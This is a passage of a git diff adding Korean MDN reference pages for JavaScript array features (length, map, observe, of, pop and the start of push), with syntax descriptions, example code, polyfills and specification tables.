+<p>그러나 <code>length</code> 속성의 값이 꼭 배열에 정의된 원소의 수를 나타내진 않습니다. <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array#length_%EC%99%80_%EC%88%AB%EC%9E%90%ED%98%95_%EC%86%8D%EC%84%B1%EC%9D%98_%EA%B4%80%EA%B3%84"><code>length</code>와 숫자형 속성의 관계</a>를 참고하세요.</p>
+
+<p>{{js_property_attributes(1, 0, 0)}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열_순회">배열 순회</h3>
+
+<p>다음 예제는 <code>numbers</code> 배열을 length 속성의 크기만큼 순회합니다. 각 원소의 값은 두 배가 됩니다.</p>
+
+<pre class="brush: js line-numbers  language-js">var numbers = [1, 2, 3, 4, 5];
+var length = numbers.length;
+for (var i = 0; i &lt; length; i++) {
+  numbers[i] *= 2;
+}
+// numbers is now [2, 4, 6, 8, 10]
+</pre>
+
+<h3 id="배열_단축">배열 단축</h3>
+
+<p>다음 예제는 <code>numbers</code> 배열의 현재 길이가 3보다 클 경우 3으로 줄입니다.</p>
+
+<pre class="brush: js line-numbers  language-js">var numbers = [1, 2, 3, 4, 5];
+
+if (numbers.length &gt; 3) {
+    numbers.length = 3;
+}
+
+console.log(numbers); // [1, 2, 3]
+console.log(numbers.length); // 3
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.5.2', 'Array.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-array-instances-length', 'Array.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-array-instances-length', 'Array.length')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.length")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/map/index.html b/files/ko/web/javascript/reference/global_objects/array/map/index.html
new file mode 100644
index 0000000000..b3f494a8e3
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/map/index.html
@@ -0,0 +1,293 @@
+---
+title: Array.prototype.map()
+slug: Web/JavaScript/Reference/Global_Objects/Array/map
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/map
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>map()</strong></code> 메서드는 배열 내의 모든 요소 각각에 대하여 주어진 함수를 호출한 결과를 모아 새로운 배열을 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-map.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.map(<var>callback(currentValue</var>[, index[, array]])[, <var>thisArg</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>새로운 배열 요소를 생성하는 함수. 다음 세 가지 인수를 가집니다.</dd>
+ <dd>
+ <dl>
+  <dt><code>currentValue</code></dt>
+  <dd>처리할 현재 요소.</dd>
+  <dt><code>index</code> {{optional_inline}}</dt>
+  <dd>처리할 현재 요소의 인덱스.</dd>
+  <dt><code>array</code> {{optional_inline}}</dt>
+  <dd><code>map()</code>을 호출한 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd><code>callback</code>을 실행할 때 <code>this</code>로 사용되는 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열의 각 요소에 대해 실행한 <code>callback</code>의 결과를 모은 새로운 배열.</p>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p><code>map</code>은 <code>callback</code> 함수를 <strong>각각의 요소에 대해 한번씩 </strong>순서대로 불러 그 함수의 반환값으로 새로운 배열을 만듭니다. <code>callback</code> 함수는 ({{jsxref("undefined")}}도 포함해서) 배열 값이 들어있는 인덱스에 대해서만 호출됩니다. 즉, 값이 삭제되거나 아직 값이 할당/정의되지 않은 인덱스에 대해서는 호출되지 않습니다.</p>
+
+<p><code>callback</code> 함수는 호출될 때 대상 요소의 값, 그 요소의 인덱스, 그리고 <code>map</code>을 호출한 원본 배열<span style="font-family: courier,andale mono,monospace;"> </span>3개의 인수를 전달받습니다.</p>
+
+<p><code>thisArg</code> 매개변수가 <code>map</code>에 전달된 경우 <code>callback</code> 함수의 <code>this</code>값으로 사용됩니다. 그 외의 경우 {{jsxref("undefined")}}값이 <code>this</code> 값으로 사용됩니다.<font face="Consolas, Liberation Mono, Courier, monospace"> </font><code>callback</code> 함수에서 최종적으로 볼 수 있는 <code>this</code> 값은  <a href="/ko/docs/Web/JavaScript/Reference/Operators/this">함수 내 <code>this</code>를 정하는 일반적인 규칙</a>에 따라 결정됩니다.</p>
+
+<p><code>map</code>은 호출한 배열의 값을 변형하지 않습니다. 단, <code>callback</code> 함수에 의해서 변형될 수는 있습니다.</p>
+
+<p><code>map</code>이  처리할 요소의 범위는 첫 <code>callback</code>을 호출하기 전에 정해집니다. <code>map</code>이 시작한 이후 배열에 추가되는 요소들은 <code>callback</code>을 호출하지 않습니다. 배열에 존재하는 요소들의 값이 바뀐 경우 <code>map</code>이 방문하는 시점의 값이 <code>callback</code>에 전달됩니다. <code>map</code>이 시작되고, 방문하기 전에 삭제된 요소들은 방문하지 않습니다.</p>
+
+<p>명세서에 정의된 알고리즘으로 인해 <code>map</code>을 호출한 배열의 중간이 비어있는 경우, 결과 배열 또한 동일한 인덱스를 빈 값으로 유지합니다.</p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="Example_Mapping_an_array_of_numbers_to_an_array_of_square_roots" name="Example:_Mapping_an_array_of_numbers_to_an_array_of_square_roots">배열에 들어있는 숫자들의 제곱근을 구하여 새로운 배열을 만들기</h3>
+
+<p>다음 코드는 숫자의 배열을 받아 각 숫자들의 제곱근이 들어있는 새로운 배열을 만듭니다.</p>
+
+<pre class="brush: js">var numbers = [1, 4, 9];
+var roots = numbers.map(Math.sqrt);
+// roots는 [1, 2, 3]
+// numbers는 그대로 [1, 4, 9]
+</pre>
+
+<h3 id="Example_Using_map_to_reformat_objects_in_an_array" name="Example:_Using_map_to_reformat_objects_in_an_array"><code>map</code>을 활용해 배열 속 객체를 재구성하기</h3>
+
+<p>다음 코드는 오브젝트의 배열을 받아 각 오브젝트를 다른 형태으로 재구성해 새로운 배열을 만듭니다.</p>
+
+<pre class="brush: js">var kvArray = [{key:1, value:10},
+               {key:2, value:20},
+               {key:3, value: 30}];
+
+var reformattedArray = kvArray.map(function(obj){
+   var rObj = {};
+   rObj[obj.key] = obj.value;
+   return rObj;
+});
+// reformattedArray는 [{1:10}, {2:20}, {3:30}]
+
+// kvArray는 그대로
+// [{key:1, value:10},
+//  {key:2, value:20},
+//  {key:3, value: 30}]
+</pre>
+
+<h3 id="Example_Mapping_an_array_of_numbers_using_a_function_containing_an_argument" name="Example:_Mapping_an_array_of_numbers_using_a_function_containing_an_argument">인자를 받는 함수를 사용하여 숫자 배열 재구성하기</h3>
+
+<p>다음 코드는 인자가 한개인 함수를 이용하여 map이 어떻게 동작하는지 나타냅니다. 인자인 배열과 안의 요소들은 map을 통해 순회하면서 원본 배열로 부터 자동으로 할당됩니다.</p>
+
+<pre class="brush: js">var numbers = [1, 4, 9];
+var doubles = numbers.map(function(num) {
+  return num * 2;
+});
+// doubles는 이제 [2, 8, 18]
+// numbers는 그대로 [1, 4, 9]
+</pre>
+
+<h3 id="Example_using_map_generically" name="Example:_using_map_generically"><code>map</code>을 포괄적으로 사용하기</h3>
+
+<p>아래 예제는 {{jsxref("Global_Objects/String", "String")}}에 map을 사용해서 각 문자의 ASCII 인코딩 값을 요소로 갖는 배열을 얻는 방법을 보여줍니다.</p>
+
+<pre class="brush: js">var map = Array.prototype.map;
+var a = map.call('Hello World', function(x) { return x.charCodeAt(0); });
+// a는 이제 [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
+</pre>
+
+<h3 id="Example_using_map_generically_querySelectorAll" name="Example:_using_map_generically_querySelectorAll"><code>map</code>을 포괄적으로 사용하기 (<code>querySelectorAll</code>)</h3>
+
+<p>아래 예제는 <code>querySelectorAll</code>을 사용해서 수집된 객체들을 순회 처리하는 법을 보여줍니다. 이번 경우 체크한 옵션 박스를 콘솔에 프린트합니다.</p>
+
+<pre class="brush: js">var elems = document.querySelectorAll('select option:checked');
+var values = [].map.call(elems, function(obj) {
+  return obj.value;
+});
+</pre>
+
+<p>더 쉬운 방법은 {{jsxref("Array.from()")}}을 사용하는 것입니다.</p>
+
+<h3 id="Example_Tricky_use_case" name="Example:_Tricky_use_case">까다로운 사례</h3>
+
+<p><a href="http://www.wirfs-brock.com/allen/posts/166">(참고한 블로그 포스트)</a></p>
+
+<p><code>map</code>에 하나의 인자(순회하는 원소)만 받는 콜백을 사용하는 경우가 많습니다. 그러나 어떤 함수는 대개 하나의 인자로 호출하지만 두 개 이상의 인자를 사용하는 경우도 있습니다. 이로 인해 어떤 경우 혼란스러울 수도 있습니다.</p>
+
+<pre class="brush: js">// 아래 라인을 보시면...
+['1', '2', '3'].map(parseInt);
+// 결과를 [1, 2, 3] 으로 기대할 수 있습니다.
+// 그러나 실제 결과는 [1, NaN, NaN] 입니다.
+
+// parseInt 함수는 보통 하나의 인자만 사용하지만, 두 개를 받을 수 있습니다.
+// 첫 번째 인자는 변환하고자 하는 표현이고 두 번째는 숫자로 변환할 때 사용할 진법입니다.
+// Array.prototype.map은 콜백에 세 가지 인자를 전달합니다.
+// 배열의 값, 값의 인덱스, 그리고 배열
+// 세 번째 인자는 parseInt가 무시하지만 두 번째 인자는 아닙니다.
+// 따라서 혼란스러운 결과를 도출할 수 있습니다. 자세한 내용은 블로그 포스트를 참고하시길 바랍니다.
+
+function returnInt(element) {
+  return parseInt(element, 10);
+}
+
+['1', '2', '3'].map(returnInt); // [1, 2, 3]
+// 실제 결과가 예상한 대로 배열의 숫자와 같습니다.
+
+// 위와 같지만 더 간단한 화살표 표현식
+['1', '2', '3'].map(str =&gt; parseInt(str));
+
+// 더 간단하게 해결할 수 있는 방법
+['1', '2', '3'].map(Number); // [1, 2, 3]
+// 그러나 `parseInt`와 달리 float이나 지수표현도 반환합니다.
+['1.1', '2.2e2', '3e300'].map(Number); // [1.1, 220, 3e+300]
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">폴리필</h2>
+
+<p><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">map</span></font>은 ECMA-262 표준 제5판에 추가됐습니다. 따라서 어떤 표준 구현체에서는 사용할 수 없을 수도 있습니다. 다른 모든 코드 이전에 아래 코드를 포함하면 지원하지 않는 플랫폼에서도 <code>map</code>을 사용할 수 있습니다. 아래 알고리즘은 {{jsxref("Object")}}, {{jsxref("TypeError")}}, {{jsxref("Array")}}가 변형되지 않고, <code>callback.call</code>의 계산 값이 원래의 {{jsxref("Function.prototype.call()")}}과 같은 경우 ECMA-262 제5판이 명시한 것과 동일합니다.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.19
+// Reference: http://es5.github.io/#x15.4.4.19
+if (!Array.prototype.map) {
+
+  Array.prototype.map = function(callback, thisArg) {
+
+    var T, A, k;
+
+    if (this == null) {
+      throw new TypeError(' this is null or not defined');
+    }
+
+    // 1. Let O be the result of calling ToObject passing the |this|
+    //    value as the argument.
+    var O = Object(this);
+
+    // 2. Let lenValue be the result of calling the Get internal
+    //    method of O with the argument "length".
+    // 3. Let len be ToUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. If IsCallable(callback) is false, throw a TypeError exception.
+    // See: http://es5.github.com/#x9.11
+    if (typeof callback !== 'function') {
+      throw new TypeError(callback + ' is not a function');
+    }
+
+    // 5. If thisArg was supplied, let T be thisArg; else let T be undefined.
+    if (arguments.length &gt; 1) {
+      T = thisArg;
+    }
+
+    // 6. Let A be a new array created as if by the expression new Array(len)
+    //    where Array is the standard built-in constructor with that name and
+    //    len is the value of len.
+    A = new Array(len);
+
+    // 7. Let k be 0
+    k = 0;
+
+    // 8. Repeat, while k &lt; len
+    while (k &lt; len) {
+
+      var kValue, mappedValue;
+
+      // a. Let Pk be ToString(k).
+      //   This is implicit for LHS operands of the in operator
+      // b. Let kPresent be the result of calling the HasProperty internal
+      //    method of O with argument Pk.
+      //   This step can be combined with c
+      // c. If kPresent is true, then
+      if (k in O) {
+
+        // i. Let kValue be the result of calling the Get internal
+        //    method of O with argument Pk.
+        kValue = O[k];
+
+        // ii. Let mappedValue be the result of calling the Call internal
+        //     method of callback with T as the this value and argument
+        //     list containing kValue, k, and O.
+        mappedValue = callback.call(T, kValue, k, O);
+
+        // iii. Call the DefineOwnProperty internal method of A with arguments
+        // Pk, Property Descriptor
+        // { Value: mappedValue,
+        //   Writable: true,
+        //   Enumerable: true,
+        //   Configurable: true },
+        // and false.
+
+        // In browsers that support Object.defineProperty, use the following:
+        // Object.defineProperty(A, k, {
+        //   value: mappedValue,
+        //   writable: true,
+        //   enumerable: true,
+        //   configurable: true
+        // });
+
+        // For best browser support, use the following:
+        A[k] = mappedValue;
+      }
+      // d. Increase k by 1.
+      k++;
+    }
+
+    // 9. return A
+    return A;
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.19', 'Array.prototype.map')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.map', 'Array.prototype.map')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.map', 'Array.prototype.map')}}</td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.map")}}</div>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Map")}} 객체</li>
+ <li>{{jsxref("Array.from()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/observe/index.html b/files/ko/web/javascript/reference/global_objects/array/observe/index.html
new file mode 100644
index 0000000000..015ae049c5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/observe/index.html
@@ -0,0 +1,87 @@
+---
+title: Array.observe()
+slug: Web/JavaScript/Reference/Global_Objects/Array/observe
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Obsolete
+translation_of: Archive/Web/JavaScript/Array.observe
+---
+<div>{{JSRef}} {{obsolete_header}}</div>
+
+<p><strong><code>Array.observe()</code> </strong>메서드는 {{jsxref("Object.observe()")}}가 객체를 관찰하는 것과 비슷하게 , 배열의 변화를 비동기 적으로 관찰 하는데 사용 되었습니다. <font face="Consolas, Liberation Mono, Courier, monospace">그것은 </font>발생 순서에 따른 변화의 흐름을 제공합니다. <code>Object.observe()</code>가 accept type list <code>["add", "update", "delete", "splice"]</code>와 함께 호출되는 것과 같습니다. 하지만 이 API는 더이상 사용되지 않고 브라우저에서 제거 되었습니다. 대신, 더 일반적인 {{jsxref("Proxy")}} 객체를 사용하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Array.observe(<var>arr</var>, <var>callback</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>arr</code></dt>
+ <dd>관찰 할 배열</dd>
+ <dt><code>callback</code></dt>
+ <dd>이 함수는 변화가 일어날때 마다 다음과 같은 인수와 함께 호출됩니다.
+ <dl>
+  <dt><code>changes</code></dt>
+  <dd>변경을 나타내는 각 객체들의 배열입니다. 이 변경 객체들의 프로퍼티 들은:
+  <ul>
+   <li><strong><code>name</code></strong>: 변경된 프로퍼티의 이름</li>
+   <li><strong><code>object</code></strong>: 변경 후 배열</li>
+   <li><strong><code>type</code></strong>: 변경 타입을 나타내는 문자. <code>"add"</code>, <code>"update"</code>, <code>"delete"</code>, 또는 <code>"splice" 중 하나</code>.</li>
+   <li><strong><code>oldValue</code></strong>: <code>"update"</code> 나 <code>"delete"유형에만 해당합니다. 변경 전 값</code>.</li>
+   <li><strong><code>index</code></strong>: <code>"splice"유형에만 해당합니다</code>. 변경이 발생한 인덱스.</li>
+   <li><strong><code>removed</code></strong>: <code>"splice"유형에만 해당합니다</code>. 삭제 된 요소들의 배열.</li>
+   <li><strong><code>addedCount</code></strong>: <code>"splice"유형에만 해당합니다</code>. 추가 된 요소들의 숫자.</li>
+  </ul>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>콜백 함수는 arr이 변경 될 때마다 호출되며 발생하는 순서대로 모든 변경 사항의 배열로 호출됩니다</p>
+
+<div class="note">
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop">Array.prototype.pop()</a>이</code> <code>"splice"</code> 변경으로 보고되는 것처럼, 변경은 배열 메서드를 통해 일어납니다. 배열 길이를 변경하지 않는 인덱스 할당 변경은 "update" 변경으로 보고 될 수 있습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="다른_변경_유형_로깅(Logging)">다른 변경 유형 로깅(Logging)</h3>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+
+Array.observe(arr, function(changes) {
+  console.log(changes);
+});
+
+arr[1] = 'B';
+// [{type: 'update', object: &lt;arr&gt;, name: '1', oldValue: 'b'}]
+
+arr[3] = 'd';
+// [{type: 'splice', object: &lt;arr&gt;, index: 3, removed: [], addedCount: 1}]
+
+arr.splice(1, 2, 'beta', 'gamma', 'delta');
+// [{type: 'splice', object: &lt;arr&gt;, index: 1, removed: ['B', 'c'], addedCount: 3}]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Strawman proposal specification</a>.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array.observe")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="//stackoverflow.com/q/29269057/778272">Under what condition would Array.observe's “add” event trigger?</a></li>
+ <li>{{jsxref("Array.unobserve()")}} {{obsolete_inline}}</li>
+ <li>{{jsxref("Object.observe()")}} {{obsolete_inline}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/of/index.html b/files/ko/web/javascript/reference/global_objects/array/of/index.html
new file mode 100644
index 0000000000..edcd9bddc5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/of/index.html
@@ -0,0 +1,104 @@
+---
+title: Array.of()
+slug: Web/JavaScript/Reference/Global_Objects/Array/of
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/of
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Array.of()</strong></code> 메서드는 인자의 수나 유형에 관계없이 가변 인자를 갖는 새 <code>Array</code> 인스턴스를 만듭니다.</p>
+
+<p><code>Array.of()</code>와 <code>Array</code> 생성자의 차이는 정수형 인자의 처리 방법에 있습니다. <code>Array.of(7)</code>은 하나의 요소 <code>7</code>을 가진 배열을 생성하지만 <code>Array(7)</code>은 <code>length</code> 속성이 7인 빈 배열을 생성합니다.</p>
+
+<pre class="brush: js">Array.of(7);       // [7]
+Array.of(1, 2, 3); // [1, 2, 3]
+
+Array(7);          // [ , , , , , , ]
+Array(1, 2, 3);    // [1, 2, 3]
+</pre>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">Array.of(<var>element0</var>[, <var>element1</var>[, ...[, <var>elementN</var>]]])</pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>배열을 생성할 때 사용할 요소.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 {{jsxref("Array")}} 객체.</p>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p>이 함수는 ECMAScript 2015 표준 일부입니다. 자세한 정보는 <a href="https://gist.github.com/rwaldron/1074126"><code>Array.of</code>, <code>Array.from</code> 제안 사항</a>과 <a href="https://gist.github.com/rwaldron/3186576"><code>Array.of</code> 폴리필</a>에서 확인하실 수 있습니다.</p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: js">Array.of(1);         // [1]
+Array.of(1, 2, 3);   // [1, 2, 3]
+Array.of(undefined); // [undefined]
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">폴리필</h2>
+
+<p>아래 코드를 다른 코드 이전에 포함하면 <code>Array.of</code>를 지원하지 않는 환경에서도 사용할 수 있습니다.</p>
+
+<pre class="brush: js">if (!Array.of) {
+  Array.of = function() {
+    return Array.prototype.slice.call(arguments);
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.of', 'Array.of')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.of', 'Array.of')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.builtins.Array.of")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.from()")}}</li>
+ <li>{{jsxref("TypedArray.of()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/pop/index.html b/files/ko/web/javascript/reference/global_objects/array/pop/index.html
new file mode 100644
index 0000000000..d02df55262
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/pop/index.html
@@ -0,0 +1,91 @@
+---
+title: Array.prototype.pop()
+slug: Web/JavaScript/Reference/Global_Objects/Array/pop
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>pop()</strong></code> 메서드는 배열에서 <strong>마지막</strong> 요소를 제거하고 그 요소를 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-pop.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.pop()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열에서 제거한 요소. 빈 배열의 경우 {{jsxref("undefined")}} 를 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>pop</code> 메서드는 배열에서 마지막 요소를 제거하여 그 값을 호출자(caller)에게 반환합니다.</p>
+
+<p><code>pop</code>은 일부러 일반(generic)입니다; 이 메서드는 배열을 닮은 객체에 {{jsxref("Function.call", "호출", "", 1)}} 또는 {{jsxref("Function.apply", "적용", "", 1)}}될 수 있습니다. 0부터 시작하는 일련의 연속되는 숫자 속성 내 마지막을 반영하는 <code>length</code> 속성을 포함하지 않는 객체는 어떤 의미 있는 방식으로도 행동하지 않을 수 있습니다.</p>
+
+<p>빈 배열에 <code>pop()</code>을 호출하면, {{jsxref("undefined")}}를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열의_마지막_요소_제거">배열의 마지막 요소 제거</h3>
+
+<p>다음 코드는 요소 넷을 포함하는 <code>myFish</code> 배열을 생성하고 그 마지막 요소를 제거합니다.</p>
+
+<pre><code>var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+
+var popped = myFish.pop();
+
+console.log(myFish); // ['angel', 'clown', 'mandarin' ]
+
+console.log(popped); // 'sturgeon'</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>초기 정의. JavaScript 1.2에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.pop")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/push/index.html b/files/ko/web/javascript/reference/global_objects/array/push/index.html
new file mode 100644
index 0000000000..73d9c9ad78
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/push/index.html
@@ -0,0 +1,113 @@
+---
+title: Array.prototype.push()
+slug: Web/JavaScript/Reference/Global_Objects/Array/push
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/push
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>push()</strong></code> 메서드는 배열의 끝에 하나 이상의 요소를 추가하고, 배열의 새로운 길이를 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-push.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.push(<var>element1[</var>, ...[, <var>elementN]]</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>배열의 끝에 추가할 요소.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>호출한 배열의 새로운 {{jsxref("Array.length", "length")}} 속성.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>push</code> 메서드는 배열 끝에 여러 값을 추가합니다.</p>
+
+<p><code>push</code>는 의도적으로 <a href="https://en.wikipedia.org/wiki/Generic_programming">제네릭</a>합니다. 배열을 닯은 객체에 {{jsxref("Function.call", "call()")}} 또는 {{jsxref("Function.apply", "apply()")}}로 사용될 수 있다. <code>push</code> 메서드는 주어진 값을 입력하는 것을 어디에 시작할 것인지를 결정하기 위해 <code>length</code> 속성에  의존한다. 만약 <code>length</code> 속성이 숫자로 변환 될 수 없다면 인덱스는 0을 사용한다. <code>length</code> 가 생성되게 될 경우에  길이 값이 존재하지 않을 가능성을 포함한다.  </p>
+
+<p>String(문자열)이 변경할 수 없는 것처럼 비록 이 명령어의 어플리케이션들이 적합하지 않다고 할지라도 단지 원래 배열 같은 객체는 {{jsxref("Global_Objects/String", "strings", "", 1)}}이다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="배열에_엘리먼트를_추가_하기">배열에 엘리먼트를 추가 하기</h3>
+
+<p>다음 코드는 두가지 엘리먼트를 포함하는 스포츠 배열을 생성하고 두개의 엘리먼트를 추가 한다. <code>total</code> 변수는 추가한 배열의 새 길이 값을 포함한다. </p>
+
+<pre class="brush: js">var sports = ['축구', '야구'];
+var total = sports.push('미식축구', '수영');
+
+console.log(sports); // ['축구', '야구', '미식축구', '수영']
+console.log(total);  // 4
+</pre>
+
+<h3 id="두개의_배열을_합치기">두개의 배열을 합치기</h3>
+
